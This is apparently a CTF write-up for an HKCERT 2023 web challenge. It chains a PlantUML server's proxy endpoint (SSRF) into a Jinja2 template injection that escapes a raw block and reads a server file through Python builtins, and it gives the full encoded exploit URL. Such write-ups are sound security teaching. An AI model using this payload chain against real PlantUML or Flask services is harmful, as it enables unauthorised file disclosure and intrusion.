Skip to content

HKCERT23: Probably Unknown's Markup Language

Posted on:18 Nov 2023 at 08:51 am

Problem Content

We all know that CS majors must know a long list of markup languages like HTML, XML, etc… How about IS majors? UML? Is UML even a markup language?

Solution

First, take a quick view of /docker-compose.yml.

services:
  plantuml:
    build: plantuml-server
    ports:
      - 8001:8080
    restart: unless-stopped
  puml.local:
    build: web
    restart: unless-stopped

It shows that the web service contains the flag can’t be directly reached by user, but can be reached by the plantuml server on puml.local:80.

Consider the PlantUML Documentation shows PlantUML server provides an API endpoint for a proxy service.

In the service, PlantUML will visit the URL provided by the user, parse the PlantUML code such as @startuml\n ... \n@enduml in the response, and generate the Graph using the code.

Then look at /web/server.py.

from flask import Flask, request, render_template_string

app = Flask(__name__)
@app.route("/")
def index():
	return render_template_string("""{%% raw %%}

...

<body>
<div>
    <h1>PUML Demo</h1>
    <p><textarea>%(puml)s</textarea></p>
    <p><a href="https://plantuml.com/">More information...</a></p>

...

{%% endraw %%}""" % {"puml":request.args.get("puml")})

if __name__ == "__main__":
	app.run(host="0.0.0.0", port=80)

The server get an argument puml and directly put it to the page template, so we can use SSTI attack.

Though {% raw %} is used to prevent SSTI attack, we can simply bypass it.

Now the argument puml should be:

{% endraw %}
@startuml
a:{{''.__class__.__mro__[1].__subclasses__()[100].__init__.__globals__.__builtins__['open']('/proof.sh').read()}}
@enduml
{% raw %}

Now we get the payload.

http://chal.hkcert23.pwnable.hk:28104/proxy?fmt=svg&src=http://puml.local/?puml=%250A%7B%2525%2520endraw%2520%2525%7D%250A@startuml%250Aa:%7B%7B%2527%2527.__class__.__mro__%5B1%5D.__subclasses__()[100].__init__.__globals__.__builtins__[%27open%27](%27/proof.sh%27).read()%7D%7D%250A@enduml%250A%7B%2525%2520raw%2520%2525%7D%250A

Visit the URL, and there is a flag given.

flag